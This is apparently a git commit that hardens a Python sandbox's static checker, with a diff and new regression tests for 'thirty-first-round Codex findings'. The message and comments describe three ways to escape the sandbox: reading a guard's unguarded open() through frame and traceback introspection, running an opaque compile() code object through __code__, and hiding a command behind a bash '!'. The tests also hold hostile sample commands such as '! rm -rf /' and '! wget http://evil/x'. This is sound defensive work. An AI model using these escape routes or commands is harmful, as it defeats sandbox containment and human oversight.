Harden sandbox: block frame introspection, opaque compile, and shell pipeline negation

- Block frame / traceback introspection that recovers a runtime guard's original callable: the
  open()/os.* guard wrappers hold the unguarded callable as a free variable (real), so a snippet
  that triggers a denied open() could read it back via a trace hook or the caught exception's
  traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and call it directly. __closure__ /
  cell_contents were already blocked, so the frame path was the remaining channel; add the frame
  acquisition + value-read attributes (f_locals, f_globals, f_back, f_builtins, tb_frame,
  tb_next, gi_frame, cr_frame, ag_frame, settrace, setprofile, _getframe, _current_frames,
  currentframe) to the introspection-gadget set, flagged for any receiver in both the attribute
  and getattr-string forms.
- Treat an opaque compile() source as executable: compile() does not itself run, but its code
  object can be executed WITHOUT exec / eval (fn.__code__ = compile(src, '<p>', 'exec'); fn()),
  so a non-literal compile source is as unverifiable as an opaque exec / eval payload and is now
  blocked too. A literal compile source is still analyzed recursively and stays allowed.
- Treat a leading shell ! as command-position syntax: in bash ! negates the pipeline exit status
  but the following word is still the executed command, so ! touch /tmp/escape / ! python3 -c ...
  slipped past the child-writer / interpreter blocklist. Skip a command-position ! in the
  command scanner and the wrapper-aware command-word resolver so the real command is scanned; a !
  in argument position ([ ! -f x ], find . ! -name ...) is unaffected.

Adds TestRound31Bypasses.
This commit is contained in:
danielhanchen 2026-07-10 08:37:51 +00:00
commit cc12c8d10a
2 changed files with 103 additions and 4 deletions

View file

@ -926,6 +926,12 @@ def _find_blocked_commands(command: str) -> set[str]:
continue
if not expect_command:
continue
# A leading `!` negates the pipeline exit status, but the following word is still the
# command bash executes (`! touch x`, `! python3 -c ...`). Keep command position so the
# real command is scanned, rather than mistaking `!` for the command and its command for
# an argument.
if token == "!":
continue
# FOO=bar assignment prefix; next non-assignment token is the command.
if _ASSIGNMENT_RE.match(token):
continue
@ -1082,6 +1088,8 @@ def _find_blocked_commands(command: str) -> set[str]:
continue
if not expect:
continue
if _tok == "!":
continue # pipeline negation keeps command position (! bash s.sh)
if _ASSIGNMENT_RE.match(_tok):
continue
if pending and _is_wrapper_numeric_arg(_tok):
@ -4900,12 +4908,14 @@ def _check_signal_escape_patterns(
),
}
)
elif func_id != "compile":
else:
# An opaque, non-recoverable payload for an executing sink (eval/exec/
# runpy) is a universal ACE bypass: it can synthesize any shell/network/
# filesystem escape at runtime, invisibly to every static check. Block it
# (compile() alone does not run, so it stays allowed -- the exec/eval of its
# result is caught at that call). ast.literal_eval / json.loads cover data.
# filesystem escape at runtime, invisibly to every static check. compile()
# does not itself run, but its CODE OBJECT can be executed without exec/eval
# (fn.__code__ = compile(src, '<p>', 'exec'); fn()), so an opaque compile
# source is equally unverifiable and is blocked too. A literal source is
# analyzed recursively above; ast.literal_eval / json.loads cover data.
dynamic_exec.append(
{
"type": "dynamic_exec",
@ -5007,6 +5017,28 @@ def _check_signal_escape_patterns(
"__builtins__",
"__closure__",
"cell_contents",
# Frame / traceback introspection recovers a runtime-guard wrapper's ORIGINAL
# unguarded callable: it is a free variable (`real`) in the wrapper's frame, so a
# snippet that triggers a denied open() can read it back via a trace hook or the
# caught exception's traceback (frame.f_locals['real'], tb.tb_frame.f_locals) and
# call it directly, escaping the filesystem boundary. __closure__ / cell_contents
# are already blocked, so the frame path is the remaining channel; close it by
# flagging frame acquisition (settrace / _getframe / currentframe / tb_frame) and
# the f_locals / f_globals value read for ANY receiver.
"f_locals",
"f_globals",
"f_back",
"f_builtins",
"tb_frame",
"tb_next",
"gi_frame",
"cr_frame",
"ag_frame",
"settrace",
"setprofile",
"_getframe",
"_current_frames",
"currentframe",
}
)

View file

@ -3393,3 +3393,70 @@ class TestRound30Bypasses:
)
def test_round30_benign_allowed(self, code):
_ok(code)
class TestRound31Bypasses:
"""Thirty-first-round Codex findings: frame / traceback introspection recovering a runtime
guard's original callable, an opaque compile() source executable via __code__, and a bash
pipeline-negation `!` mistaken for the command word."""
@pytest.mark.parametrize(
"code",
[
# A leading ! negates the pipeline but the next word is still the command that runs.
"import os\nos.system('! touch /tmp/escape')",
"import os\nos.system('! python3 -c \"import os\"')",
"import subprocess\nsubprocess.run('! wget http://evil/x', shell=True)",
"import os\nos.system('! rm -rf /')",
"import os\nos.system('! bash script.sh')",
],
)
def test_shell_negation_command_position_blocked(self, code):
assert _check_code_safety(code) is not None, code
@pytest.mark.parametrize(
"code",
[
# An opaque compile() source is executable via fn.__code__ = compile(...); fn(),
# bypassing exec / eval / types.FunctionType, so it must be blocked like exec.
"src = get()\nc = compile(src, '<p>', 'exec')",
"def f():\n pass\nf.__code__ = compile(payload, '<p>', 'exec')\nf()",
"c = compile(open('p.py').read(), '<p>', 'exec')",
],
)
def test_opaque_compile_blocked(self, code):
assert _check_code_safety(code) is not None, code
@pytest.mark.parametrize(
"code",
[
# Frame / traceback introspection can read a guard wrapper's original `real` callable
# from frame.f_locals after a denied open(); block the acquisition + f_locals read.
"import sys\ndef t(fr, e, a):\n r = fr.f_locals.get('real')\n return t\nsys.settrace(t)",
"try:\n open('/x', 'w')\nexcept PermissionError as e:\n r = e.__traceback__.tb_frame.f_locals['real']",
"import sys\nr = sys._getframe(1).f_locals",
"import inspect\nr = inspect.currentframe().f_back.f_locals",
"import sys\nr = getattr(sys._getframe(), 'f_locals')",
"import sys\nsys.setprofile(hook)",
],
)
def test_frame_introspection_blocked(self, code):
assert _check_code_safety(code) is not None, code
@pytest.mark.parametrize(
"code",
[
# A literal compile source is analyzed recursively and stays allowed; ! in argument
# position (test / find) is not a command; frame-free code and normal exception /
# traceback formatting must still pass.
"c = compile('1 + 1', '<p>', 'eval')\nprint(eval('1 + 1'))",
"c = compile('x = 1\\nprint(x)', '<p>', 'exec')",
"import os\nos.system('[ ! -f x.txt ]')",
"import os\nos.system(\"find . ! -name '*.py' -print\")",
"import numpy as np\nx = np.stack([np.ones(3)])\nprint(x.sum())",
"try:\n x = 1 / 0\nexcept ZeroDivisionError as e:\n print('caught', e)",
"import traceback\ntry:\n f()\nexcept Exception:\n traceback.print_exc()",
],
)
def test_round31_benign_allowed(self, code):
_ok(code)